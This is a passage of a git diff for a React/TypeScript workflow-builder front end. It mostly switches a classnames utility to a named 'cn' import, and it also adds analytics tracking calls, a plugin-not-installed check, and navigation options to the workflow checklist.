-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useDownloadPlugin } from '@/service/use-plugins'
 import { downloadFile } from '@/utils/format'
 import { getMarketplaceUrl } from '@/utils/var'
diff --git a/web/app/components/workflow/block-selector/market-place-plugin/item.tsx b/web/app/components/workflow/block-selector/market-place-plugin/item.tsx
index 3c9c9b9f59..711bfadc7f 100644
--- a/web/app/components/workflow/block-selector/market-place-plugin/item.tsx
+++ b/web/app/components/workflow/block-selector/market-place-plugin/item.tsx
@@ -7,7 +7,7 @@ import Action from './action'
 import type { Plugin } from '@/app/components/plugins/types.ts'
 import InstallFromMarketplace from '@/app/components/plugins/install-plugin/install-from-marketplace'
 import I18n from '@/context/i18n'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 import { formatNumber } from '@/utils/format'
 import { useBoolean } from 'ahooks'
diff --git a/web/app/components/workflow/block-selector/market-place-plugin/list.tsx b/web/app/components/workflow/block-selector/market-place-plugin/list.tsx
index a323fd7305..b2097c72cf 100644
--- a/web/app/components/workflow/block-selector/market-place-plugin/list.tsx
+++ b/web/app/components/workflow/block-selector/market-place-plugin/list.tsx
@@ -5,7 +5,7 @@ import { useTranslation } from 'react-i18next'
 import useStickyScroll, { ScrollPosition } from '../use-sticky-scroll'
 import Item from './item'
 import type { Plugin, PluginCategoryEnum } from '@/app/components/plugins/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Link from 'next/link'
 import { RiArrowRightUpLine, RiSearchLine } from '@remixicon/react'
 import { noop } from 'lodash-es'
diff --git a/web/app/components/workflow/block-selector/rag-tool-recommendations/index.tsx b/web/app/components/workflow/block-selector/rag-tool-recommendations/index.tsx
index 240c0814a1..47b158b9b2 100644
--- a/web/app/components/workflow/block-selector/rag-tool-recommendations/index.tsx
+++ b/web/app/components/workflow/block-selector/rag-tool-recommendations/index.tsx
@@ -52,7 +52,7 @@ const RAGToolRecommendations = ({
     data: ragRecommendedPlugins,
     isLoading: isLoadingRAGRecommendedPlugins,
     isFetching: isFetchingRAGRecommendedPlugins,
-  } = useRAGRecommendedPlugins()
+  } = useRAGRecommendedPlugins('tool')
 
   const recommendedPlugins = useMemo(() => {
     if (ragRecommendedPlugins)
diff --git a/web/app/components/workflow/block-selector/rag-tool-recommendations/list.tsx b/web/app/components/workflow/block-selector/rag-tool-recommendations/list.tsx
index 8c98fa9d7c..2012d03598 100644
--- a/web/app/components/workflow/block-selector/rag-tool-recommendations/list.tsx
+++ b/web/app/components/workflow/block-selector/rag-tool-recommendations/list.tsx
@@ -4,7 +4,7 @@ import type { ToolDefaultValue } from '../types'
 import { ViewType } from '../view-type-select'
 import { useGetLanguage } from '@/context/i18n'
 import { groupItems } from '../index-bar'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ToolListTreeView from '../tool/tool-list-tree-view/list'
 import ToolListFlatView from '../tool/tool-list-flat-view/list'
 import UninstalledItem from './uninstalled-item'
diff --git a/web/app/components/workflow/block-selector/tabs.tsx b/web/app/components/workflow/block-selector/tabs.tsx
index ecdb8797c0..0367208cfe 100644
--- a/web/app/components/workflow/block-selector/tabs.tsx
+++ b/web/app/components/workflow/block-selector/tabs.tsx
@@ -13,7 +13,7 @@ import Blocks from './blocks'
 import AllStartBlocks from './all-start-blocks'
 import AllTools from './all-tools'
 import DataSources from './data-sources'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useFeaturedToolsRecommendations } from '@/service/use-plugins'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import { useWorkflowStore } from '../store'
diff --git a/web/app/components/workflow/block-selector/tool-picker.tsx b/web/app/components/workflow/block-selector/tool-picker.tsx
index 09f386d657..c10496006d 100644
--- a/web/app/components/workflow/block-selector/tool-picker.tsx
+++ b/web/app/components/workflow/block-selector/tool-picker.tsx
@@ -35,7 +35,7 @@ import {
 } from '@/service/use-tools'
 import { useFeaturedToolsRecommendations } from '@/service/use-plugins'
 import { useGlobalPublicStore } from '@/context/global-public-context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   panelClassName?: string
diff --git a/web/app/components/workflow/block-selector/tool/action-item.tsx b/web/app/components/workflow/block-selector/tool/action-item.tsx
index 1ca61b3039..617a28ade2 100644
--- a/web/app/components/workflow/block-selector/tool/action-item.tsx
+++ b/web/app/components/workflow/block-selector/tool/action-item.tsx
@@ -8,11 +8,12 @@ import Tooltip from '@/app/components/base/tooltip'
 import type { Tool } from '@/app/components/tools/types'
 import { useGetLanguage } from '@/context/i18n'
 import BlockIcon from '../../block-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 import useTheme from '@/hooks/use-theme'
 import { Theme } from '@/types/app'
 import { basePath } from '@/utils/var'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 const normalizeProviderIcon = (icon?: ToolWithProvider['icon']) => {
   if (!icon)
@@ -102,6 +103,10 @@ const ToolItem: FC<Props> = ({
             params,
             meta: provider.meta,
           })
+          trackEvent('tool_selected', {
+            tool_name: payload.name,
+            plugin_id: provider.plugin_id,
+          })
         }}
       >
         <div className={cn('system-sm-medium h-8 truncate border-l-2 border-divider-subtle pl-4 leading-8 text-text-secondary')}>
diff --git a/web/app/components/workflow/block-selector/tool/tool.tsx b/web/app/components/workflow/block-selector/tool/tool.tsx
index 2ce8f8130e..622b06734b 100644
--- a/web/app/components/workflow/block-selector/tool/tool.tsx
+++ b/web/app/components/workflow/block-selector/tool/tool.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React, { useCallback, useEffect, useMemo, useRef } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiArrowDownSLine, RiArrowRightSLine } from '@remixicon/react'
 import { useGetLanguage } from '@/context/i18n'
 import type { Tool as ToolType } from '../../../tools/types'
diff --git a/web/app/components/workflow/block-selector/tools.tsx b/web/app/components/workflow/block-selector/tools.tsx
index 66d880d994..788905323e 100644
--- a/web/app/components/workflow/block-selector/tools.tsx
+++ b/web/app/components/workflow/block-selector/tools.tsx
@@ -8,7 +8,7 @@ import Empty from '@/app/components/tools/provider/empty'
 import { useGetLanguage } from '@/context/i18n'
 import ToolListTreeView from './tool/tool-list-tree-view/list'
 import ToolListFlatView from './tool/tool-list-flat-view/list'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ToolsProps = {
   onSelect: (type: BlockEnum, tool: ToolDefaultValue) => void
@@ -91,7 +91,7 @@ const Tools = ({
   const toolRefs = useRef({})
 
   return (
-    <div className={classNames('max-w-[100%] p-1', className)}>
+    <div className={cn('max-w-[100%] p-1', className)}>
       {!tools.length && !hasSearchText && (
         <div className='py-10'>
           <Empty type={toolType!} isAgent={isAgent} />
diff --git a/web/app/components/workflow/block-selector/trigger-plugin/action-item.tsx b/web/app/components/workflow/block-selector/trigger-plugin/action-item.tsx
index d2bdda8a82..e22712c248 100644
--- a/web/app/components/workflow/block-selector/trigger-plugin/action-item.tsx
+++ b/web/app/components/workflow/block-selector/trigger-plugin/action-item.tsx
@@ -8,7 +8,7 @@ import type { TriggerDefaultValue } from '../types'
 import Tooltip from '@/app/components/base/tooltip'
 import { useGetLanguage } from '@/context/i18n'
 import BlockIcon from '../../block-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 
 type Props = {
diff --git a/web/app/components/workflow/block-selector/trigger-plugin/item.tsx b/web/app/components/workflow/block-selector/trigger-plugin/item.tsx
index 49db8c6c3e..15b8d638fe 100644
--- a/web/app/components/workflow/block-selector/trigger-plugin/item.tsx
+++ b/web/app/components/workflow/block-selector/trigger-plugin/item.tsx
@@ -1,6 +1,6 @@
 'use client'
 import { useGetLanguage } from '@/context/i18n'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiArrowDownSLine, RiArrowRightSLine } from '@remixicon/react'
 import type { FC } from 'react'
 import React, { useEffect, useMemo, useRef } from 'react'
diff --git a/web/app/components/workflow/block-selector/view-type-select.tsx b/web/app/components/workflow/block-selector/view-type-select.tsx
index f241257bfa..900453fedb 100644
--- a/web/app/components/workflow/block-selector/view-type-select.tsx
+++ b/web/app/components/workflow/block-selector/view-type-select.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React, { useCallback } from 'react'
 import { RiNodeTree, RiSortAlphabetAsc } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export enum ViewType {
   flat = 'flat',
diff --git a/web/app/components/workflow/custom-edge.tsx b/web/app/components/workflow/custom-edge.tsx
index d4cbc9199d..2a53abb327 100644
--- a/web/app/components/workflow/custom-edge.tsx
+++ b/web/app/components/workflow/custom-edge.tsx
@@ -25,7 +25,7 @@ import { NodeRunningStatus } from './types'
 import { getEdgeColor } from './utils'
 import { ITERATION_CHILDREN_Z_INDEX, LOOP_CHILDREN_Z_INDEX } from './constants'
 import CustomEdgeLinearGradientRender from './custom-edge-linear-gradient-render'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ErrorHandleTypeEnum } from '@/app/components/workflow/nodes/_base/components/error-handle/types'
 
 const CustomEdge = ({
diff --git a/web/app/components/workflow/dsl-export-confirm-modal.tsx b/web/app/components/workflow/dsl-export-confirm-modal.tsx
index e9c51de936..ff5498abc5 100644
--- a/web/app/components/workflow/dsl-export-confirm-modal.tsx
+++ b/web/app/components/workflow/dsl-export-confirm-modal.tsx
@@ -2,7 +2,7 @@
 import React, { useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiCloseLine, RiLock2Line } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Env } from '@/app/components/base/icons/src/vender/line/others'
 import Modal from '@/app/components/base/modal'
 import Checkbox from '@/app/components/base/checkbox'
diff --git a/web/app/components/workflow/header/chat-variable-button.tsx b/web/app/components/workflow/header/chat-variable-button.tsx
index aa68182c23..b424ecffdc 100644
--- a/web/app/components/workflow/header/chat-variable-button.tsx
+++ b/web/app/components/workflow/header/chat-variable-button.tsx
@@ -3,7 +3,7 @@ import Button from '@/app/components/base/button'
 import { BubbleX } from '@/app/components/base/icons/src/vender/line/others'
 import { useStore } from '@/app/components/workflow/store'
 import useTheme from '@/hooks/use-theme'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const ChatVariableButton = ({ disabled }: { disabled: boolean }) => {
   const { theme } = useTheme()
diff --git a/web/app/components/workflow/header/checklist.tsx b/web/app/components/workflow/header/checklist.tsx
index aa532b98d7..e284cca791 100644
--- a/web/app/components/workflow/header/checklist.tsx
+++ b/web/app/components/workflow/header/checklist.tsx
@@ -19,7 +19,7 @@ import type { ChecklistItem } from '../hooks/use-checklist'
 import type {
   CommonEdgeType,
 } from '../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
@@ -37,9 +37,13 @@ import useNodes from '@/app/components/workflow/store/workflow/use-nodes'
 
 type WorkflowChecklistProps = {
   disabled: boolean
+  showGoTo?: boolean
+  onItemClick?: (item: ChecklistItem) => void
 }
 const WorkflowChecklist = ({
   disabled,
+  showGoTo = true,
+  onItemClick,
 }: WorkflowChecklistProps) => {
   const { t } = useTranslation()
   const [open, setOpen] = useState(false)
@@ -49,9 +53,13 @@ const WorkflowChecklist = ({
   const { handleNodeSelect } = useNodesInteractions()
 
   const handleChecklistItemClick = (item: ChecklistItem) => {
-    if (!item.canNavigate)
+    const goToEnabled = showGoTo && item.canNavigate && !item.disableGoTo
+    if (!goToEnabled)
       return
-    handleNodeSelect(item.id)
+    if (onItemClick)
+      onItemClick(item)
+    else
+      handleNodeSelect(item.id)
     setOpen(false)
   }
 
@@ -116,7 +124,7 @@ const WorkflowChecklist = ({
                           key={node.id}
                           className={cn(
                             'group mb-2 rounded-lg border-[0.5px] border-components-panel-border bg-components-panel-bg shadow-xs last-of-type:mb-0',
-                            node.canNavigate ? 'cursor-pointer' : 'cursor-default opacity-80',
+                            showGoTo && node.canNavigate && !node.disableGoTo ? 'cursor-pointer' : 'cursor-default opacity-80',
                           )}
                           onClick={() => handleChecklistItemClick(node)}
                         >
@@ -130,7 +138,7 @@ const WorkflowChecklist = ({
                               {node.title}
                             </span>
                             {
-                              node.canNavigate && (
+                              (showGoTo && node.canNavigate && !node.disableGoTo) && (
                                 <div className='flex h-4 w-[60px] shrink-0 items-center justify-center gap-1 opacity-0 transition-opacity duration-200 group-hover:opacity-100'>
                                   <span className='whitespace-nowrap text-xs font-medium leading-4 text-primary-600'>
                                     {t('workflow.panel.goTo')}
diff --git a/web/app/components/workflow/header/env-button.tsx b/web/app/components/workflow/header/env-button.tsx
index 26723305f1..f053097a0d 100644
--- a/web/app/components/workflow/header/env-button.tsx
+++ b/web/app/components/workflow/header/env-button.tsx
@@ -3,7 +3,7 @@ import Button from '@/app/components/base/button'
 import { Env } from '@/app/components/base/icons/src/vender/line/others'
 import { useStore } from '@/app/components/workflow/store'
 import useTheme from '@/hooks/use-theme'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useInputFieldPanel } from '@/app/components/rag-pipeline/hooks'
 
 const EnvButton = ({ disabled }: { disabled: boolean }) => {
diff --git a/web/app/components/workflow/header/global-variable-button.tsx b/web/app/components/workflow/header/global-variable-button.tsx
index a133cdeda5..6859521aee 100644
--- a/web/app/components/workflow/header/global-variable-button.tsx
+++ b/web/app/components/workflow/header/global-variable-button.tsx
@@ -3,7 +3,7 @@ import Button from '@/app/components/base/button'
 import { GlobalVariable } from '@/app/components/base/icons/src/vender/line/others'
 import { useStore } from '@/app/components/workflow/store'
 import useTheme from '@/hooks/use-theme'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useInputFieldPanel } from '@/app/components/rag-pipeline/hooks'
 
 const GlobalVariableButton = ({ disabled }: { disabled: boolean }) => {
diff --git a/web/app/components/workflow/header/header-in-restoring.tsx b/web/app/components/workflow/header/header-in-restoring.tsx
index 3844232531..53abe2375d 100644
--- a/web/app/components/workflow/header/header-in-restoring.tsx
+++ b/web/app/components/workflow/header/header-in-restoring.tsx
@@ -20,7 +20,7 @@ import Button from '@/app/components/base/button'
 import { useInvalidAllLastRun } from '@/service/use-workflow'
 import { useHooksStore } from '../hooks-store'
 import useTheme from '@/hooks/use-theme'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type HeaderInRestoringProps = {
   onRestoreSettled?: () => void
diff --git a/web/app/components/workflow/header/run-and-history.tsx b/web/app/components/workflow/header/run-and-history.tsx
index 101167408e..ae4b462b29 100644
--- a/web/app/components/workflow/header/run-and-history.tsx
+++ b/web/app/components/workflow/header/run-and-history.tsx
@@ -10,7 +10,7 @@ import {
 import type { ViewHistoryProps } from './view-history'
 import ViewHistory from './view-history'
 import Checklist from './checklist'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import RunMode from './run-mode'
 
 const PreviewMode = memo(() => {
diff --git a/web/app/components/workflow/header/run-mode.tsx b/web/app/components/workflow/header/run-mode.tsx
index 7a1d444d30..6ab826cc48 100644
--- a/web/app/components/workflow/header/run-mode.tsx
+++ b/web/app/components/workflow/header/run-mode.tsx
@@ -6,12 +6,13 @@ import { WorkflowRunningStatus } from '@/app/components/workflow/types'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
 import { EVENT_WORKFLOW_STOP } from '@/app/components/workflow/variable-inspect/types'
 import { getKeyboardKeyNameBySystem } from '@/app/components/workflow/utils'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiLoader2Line, RiPlayLargeLine } from '@remixicon/react'
 import { StopCircle } from '@/app/components/base/icons/src/vender/line/mediaAndDevices'
 import { useDynamicTestRunOptions } from '../hooks/use-dynamic-test-run-options'
 import TestRunMenu, { type TestRunMenuRef, type TriggerOption, TriggerType } from './test-run-menu'
 import { useToastContext } from '@/app/components/base/toast'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 type RunModeProps = {
   text?: string
@@ -69,22 +70,27 @@ const RunMode = ({
 
     if (option.type === TriggerType.UserInput) {
       handleWorkflowStartRunInWorkflow()
+      trackEvent('app_start_action_time', { action_type: 'user_input' })
     }
     else if (option.type === TriggerType.Schedule) {
       handleWorkflowTriggerScheduleRunInWorkflow(option.nodeId)
+      trackEvent('app_start_action_time', { action_type: 'schedule' })
     }
     else if (option.type === TriggerType.Webhook) {
       if (option.nodeId)
         handleWorkflowTriggerWebhookRunInWorkflow({ nodeId: option.nodeId })
+      trackEvent('app_start_action_time', { action_type: 'webhook' })
     }
     else if (option.type === TriggerType.Plugin) {
       if (option.nodeId)
         handleWorkflowTriggerPluginRunInWorkflow(option.nodeId)
+      trackEvent('app_start_action_time', { action_type: 'plugin' })
     }
     else if (option.type === TriggerType.All) {
       const targetNodeIds = option.relatedNodeIds?.filter(Boolean)
       if (targetNodeIds && targetNodeIds.length > 0)
         handleWorkflowRunAllTriggersInWorkflow(targetNodeIds)
+      trackEvent('app_start_action_time', { action_type: 'all' })
     }
     else {
       // Placeholder for trigger-specific execution logic for schedule, webhook, plugin types
diff --git a/web/app/components/workflow/header/scroll-to-selected-node-button.tsx b/web/app/components/workflow/header/scroll-to-selected-node-button.tsx
index d3e7248d9a..58aeccea1b 100644
--- a/web/app/components/workflow/header/scroll-to-selected-node-button.tsx
+++ b/web/app/components/workflow/header/scroll-to-selected-node-button.tsx
@@ -4,7 +4,7 @@ import { useNodes } from 'reactflow'
 import { useTranslation } from 'react-i18next'
 import type { CommonNodeType } from '../types'
 import { scrollToWorkflowNode } from '../utils/node-navigation'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const ScrollToSelectedNodeButton: FC = () => {
   const { t } = useTranslation()
diff --git a/web/app/components/workflow/header/undo-redo.tsx b/web/app/components/workflow/header/undo-redo.tsx
index fa276a67d3..4b2e9abc36 100644
--- a/web/app/components/workflow/header/undo-redo.tsx
+++ b/web/app/components/workflow/header/undo-redo.tsx
@@ -10,7 +10,7 @@ import { useWorkflowHistoryStore } from '../workflow-history-store'
 import Divider from '../../base/divider'
 import { useNodesReadOnly } from '@/app/components/workflow/hooks'
 import ViewWorkflowHistory from '@/app/components/workflow/header/view-workflow-history'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type UndoRedoProps = { handleUndo: () => void; handleRedo: () => void }
 const UndoRedo: FC<UndoRedoProps> = ({ handleUndo, handleRedo }) => {
@@ -36,7 +36,7 @@ const UndoRedo: FC<UndoRedoProps> = ({ handleUndo, handleRedo }) => {
         <div
           data-tooltip-id='workflow.undo'
           className={
-            classNames('system-sm-medium flex h-8 w-8 cursor-pointer select-none items-center rounded-md px-1.5 text-text-tertiary hover:bg-state-base-hover hover:text-text-secondary',
+            cn('system-sm-medium flex h-8 w-8 cursor-pointer select-none items-center rounded-md px-1.5 text-text-tertiary hover:bg-state-base-hover hover:text-text-secondary',
               (nodesReadOnly || buttonsDisabled.undo)
               && 'cursor-not-allowed text-text-disabled hover:bg-transparent hover:text-text-disabled')}
           onClick={() => !nodesReadOnly && !buttonsDisabled.undo && handleUndo()}
@@ -48,10 +48,9 @@ const UndoRedo: FC<UndoRedoProps> = ({ handleUndo, handleRedo }) => {
         <div
           data-tooltip-id='workflow.redo'
           className={
-            classNames('system-sm-medium flex h-8 w-8 cursor-pointer select-none items-center rounded-md px-1.5 text-text-tertiary hover:bg-state-base-hover hover:text-text-secondary',
+            cn('system-sm-medium flex h-8 w-8 cursor-pointer select-none items-center rounded-md px-1.5 text-text-tertiary hover:bg-state-base-hover hover:text-text-secondary',
               (nodesReadOnly || buttonsDisabled.redo)
-              && 'cursor-not-allowed text-text-disabled hover:bg-transparent hover:text-text-disabled',
-            )}
+              && 'cursor-not-allowed text-text-disabled hover:bg-transparent hover:text-text-disabled')}
           onClick={() => !nodesReadOnly && !buttonsDisabled.redo && handleRedo()}
         >
           <RiArrowGoForwardFill className='h-4 w-4' />
diff --git a/web/app/components/workflow/header/version-history-button.tsx b/web/app/components/workflow/header/version-history-button.tsx
index 3ae5c1aec9..416c6ef7e5 100644
--- a/web/app/components/workflow/header/version-history-button.tsx
+++ b/web/app/components/workflow/header/version-history-button.tsx
@@ -6,7 +6,7 @@ import Button from '../../base/button'
 import Tooltip from '../../base/tooltip'
 import { getKeyboardKeyCodeBySystem, getKeyboardKeyNameBySystem } from '../utils'
 import useTheme from '@/hooks/use-theme'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type VersionHistoryButtonProps = {
   onClick: () => Promise<unknown> | unknown
diff --git a/web/app/components/workflow/header/view-history.tsx b/web/app/components/workflow/header/view-history.tsx
index 93de136ab4..7e9e0ee3bb 100644
--- a/web/app/components/workflow/header/view-history.tsx
+++ b/web/app/components/workflow/header/view-history.tsx
@@ -20,7 +20,7 @@ import {
 import { useFormatTimeFromNow } from '@/hooks/use-format-time-from-now'
 import { ControlMode, WorkflowRunningStatus } from '../types'
 import { formatWorkflowRunIdentifier } from '../utils'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/workflow/header/view-workflow-history.tsx b/web/app/components/workflow/header/view-workflow-history.tsx
index 42afd18d25..bfef85382e 100644
--- a/web/app/components/workflow/header/view-workflow-history.tsx
+++ b/web/app/components/workflow/header/view-workflow-history.tsx
@@ -18,14 +18,13 @@ import {
 import TipPopup from '../operator/tip-popup'
 import type { WorkflowHistoryState } from '../workflow-history-store'
 import Divider from '../../base/divider'
-import cn from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import { useStore as useAppStore } from '@/app/components/app/store'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ChangeHistoryEntry = {
   label: string
@@ -142,10 +141,9 @@ const ViewWorkflowHistory = () => {
           >
             <div
               className={
-                classNames('flex h-8 w-8 cursor-pointer items-center justify-center rounded-md text-text-tertiary hover:bg-state-base-hover hover:text-text-secondary',
+                cn('flex h-8 w-8 cursor-pointer items-center justify-center rounded-md text-text-tertiary hover:bg-state-base-hover hover:text-text-secondary',
                   open && 'bg-state-accent-active text-text-accent',
-                  nodesReadOnly && 'cursor-not-allowed text-text-disabled hover:bg-transparent hover:text-text-disabled',
-                )}
+                  nodesReadOnly && 'cursor-not-allowed text-text-disabled hover:bg-transparent hover:text-text-disabled')}
               onClick={() => {
                 if (nodesReadOnly)
                   return
diff --git a/web/app/components/workflow/hooks/use-checklist.ts b/web/app/components/workflow/hooks/use-checklist.ts
index 8144120bfe..cd1f051eb5 100644
--- a/web/app/components/workflow/hooks/use-checklist.ts
+++ b/web/app/components/workflow/hooks/use-checklist.ts
@@ -66,6 +66,7 @@ export type ChecklistItem = {
   unConnected?: boolean
   errorMessage?: string
   canNavigate: boolean
+  disableGoTo?: boolean
 }
 
 const START_NODE_TYPES: BlockEnum[] = [
@@ -75,6 +76,13 @@ const START_NODE_TYPES: BlockEnum[] = [
   BlockEnum.TriggerPlugin,
 ]
 
+// Node types that depend on plugins
+const PLUGIN_DEPENDENT_TYPES: BlockEnum[] = [
+  BlockEnum.Tool,
+  BlockEnum.DataSource,
+  BlockEnum.TriggerPlugin,
+]
+
 export const useChecklist = (nodes: Node[], edges: Edge[]) => {
   const { t } = useTranslation()
   const language = useGetLanguage()
@@ -157,7 +165,14 @@ export const useChecklist = (nodes: Node[], edges: Edge[]) => {
       if (node.type === CUSTOM_NODE) {
         const checkData = getCheckData(node.data)
         const validator = nodesExtraData?.[node.data.type as BlockEnum]?.checkValid
-        let errorMessage = validator ? validator(checkData, t, moreDataForCheckValid).errorMessage : undefined
+        const isPluginMissing = PLUGIN_DEPENDENT_TYPES.includes(node.data.type as BlockEnum) && node.data._pluginInstallLocked
+
+        // Check if plugin is installed for plugin-dependent nodes first
+        let errorMessage: string | undefined
+        if (isPluginMissing)
+          errorMessage = t('workflow.nodes.common.pluginNotInstalled')
+        else if (validator)
+          errorMessage = validator(checkData, t, moreDataForCheckValid).errorMessage
 
         if (!errorMessage) {
           const availableVars = map[node.id].availableVars
@@ -194,7 +209,8 @@ export const useChecklist = (nodes: Node[], edges: Edge[]) => {
             toolIcon,
             unConnected: isUnconnected && !canSkipConnectionCheck,
             errorMessage,
-            canNavigate: true,
+            canNavigate: !isPluginMissing,
+            disableGoTo: isPluginMissing,
           })
         }
       }
diff --git a/web/app/components/workflow/index.tsx b/web/app/components/workflow/index.tsx
index 880f652026..4f6ee4e64a 100644
--- a/web/app/components/workflow/index.tsx
+++ b/web/app/components/workflow/index.tsx
@@ -91,7 +91,7 @@ import dynamic from 'next/dynamic'
 import useMatchSchemaType from './nodes/_base/components/variable/use-match-schema-type'
 import type { VarInInspect } from '@/types/workflow'
 import { fetchAllInspectVars } from '@/service/workflow'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   useAllBuiltInTools,
   useAllCustomTools,
diff --git a/web/app/components/workflow/nodes/_base/components/add-button.tsx b/web/app/components/workflow/nodes/_base/components/add-button.tsx
index 5b75726aad..12bf649cda 100644
--- a/web/app/components/workflow/nodes/_base/components/add-button.tsx
+++ b/web/app/components/workflow/nodes/_base/components/add-button.tsx
@@ -4,7 +4,7 @@ import React from 'react'
 import {
   RiAddLine,
 } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 
 type Props = {
diff --git a/web/app/components/workflow/nodes/_base/components/agent-strategy-selector.tsx b/web/app/components/workflow/nodes/_base/components/agent-strategy-selector.tsx
index ef292fd468..96ae7e03e1 100644
--- a/web/app/components/workflow/nodes/_base/components/agent-strategy-selector.tsx
+++ b/web/app/components/workflow/nodes/_base/components/agent-strategy-selector.tsx
@@ -2,7 +2,7 @@ import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigge
 import type { ReactNode } from 'react'
 import { memo, useEffect, useMemo, useRef, useState } from 'react'
 import type { Strategy } from './agent-strategy'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiArrowDownSLine, RiErrorWarningFill } from '@remixicon/react'
 import Tooltip from '@/app/components/base/tooltip'
 import Link from 'next/link'
@@ -162,7 +162,7 @@ export const AgentStrategySelector = memo((props: AgentStrategySelectorProps) =>
           alt='icon'
         /></div>}
         <p
-          className={classNames(value ? 'text-components-input-text-filled' : 'text-components-input-text-placeholder', 'px-1 text-xs')}
+          className={cn(value ? 'text-components-input-text-filled' : 'text-components-input-text-placeholder', 'px-1 text-xs')}
         >
           {value?.agent_strategy_label || t('workflow.nodes.agent.strategy.selectTip')}
         </p>
diff --git a/web/app/components/workflow/nodes/_base/components/agent-strategy.tsx b/web/app/components/workflow/nodes/_base/components/agent-strategy.tsx
index 4b15e57d5c..c207c82037 100644
--- a/web/app/components/workflow/nodes/_base/components/agent-strategy.tsx
+++ b/web/app/components/workflow/nodes/_base/components/agent-strategy.tsx
@@ -91,7 +91,7 @@ export const AgentStrategy = memo((props: AgentStrategyProps) => {
             nodeId={nodeId}
             isSupportPromptGenerator={!!def.auto_generate?.type}
             titleTooltip={schema.tooltip && renderI18nObject(schema.tooltip)}
-            editorContainerClassName='px-0'
+            editorContainerClassName='px-0 bg-components-input-bg-normal focus-within:bg-components-input-bg-active rounded-lg'
             availableNodes={availableNodes}
             nodesOutputVars={nodeOutputVars}
             isSupportJinja={def.template?.enabled}
@@ -108,7 +108,7 @@ export const AgentStrategy = memo((props: AgentStrategyProps) => {
             }
             placeholderClassName='px-2 py-1'
             titleClassName='system-sm-semibold-uppercase text-text-secondary text-[13px]'
-            inputClassName='px-2 py-1 bg-components-input-bg-normal focus:bg-components-input-bg-active focus:border-components-input-border-active focus:border rounded-lg'
+            inputClassName='px-2 py-1'
           />
         }
         case FormTypeEnum.textNumber: {
diff --git a/web/app/components/workflow/nodes/_base/components/before-run-form/form-item.tsx b/web/app/components/workflow/nodes/_base/components/before-run-form/form-item.tsx
index 0bb8b3844f..440cb1e338 100644
--- a/web/app/components/workflow/nodes/_base/components/before-run-form/form-item.tsx
+++ b/web/app/components/workflow/nodes/_base/components/before-run-form/form-item.tsx
@@ -22,7 +22,7 @@ import { Line3 } from '@/app/components/base/icons/src/public/common'
 import { Variable02 } from '@/app/components/base/icons/src/vender/solid/development'
 import { BubbleX } from '@/app/components/base/icons/src/vender/line/others'
 import { FILE_EXTS } from '@/app/components/base/prompt-editor/constants'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FileEntity } from '@/app/components/base/file-uploader/types'
 import BoolInput from './bool-input'
 import { useHooksStore } from '@/app/components/workflow/hooks-store'
diff --git a/web/app/components/workflow/nodes/_base/components/before-run-form/form.tsx b/web/app/components/workflow/nodes/_base/components/before-run-form/form.tsx
index e24498e7eb..69873d8be2 100644
--- a/web/app/components/workflow/nodes/_base/components/before-run-form/form.tsx
+++ b/web/app/components/workflow/nodes/_base/components/before-run-form/form.tsx
@@ -4,7 +4,7 @@ import React, { useCallback, useEffect, useMemo, useRef } from 'react'
 import { produce } from 'immer'
 import type { InputVar } from '../../../../types'
 import FormItem from './form-item'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { InputVarType } from '@/app/components/workflow/types'
 import AddButton from '@/app/components/base/button/add-button'
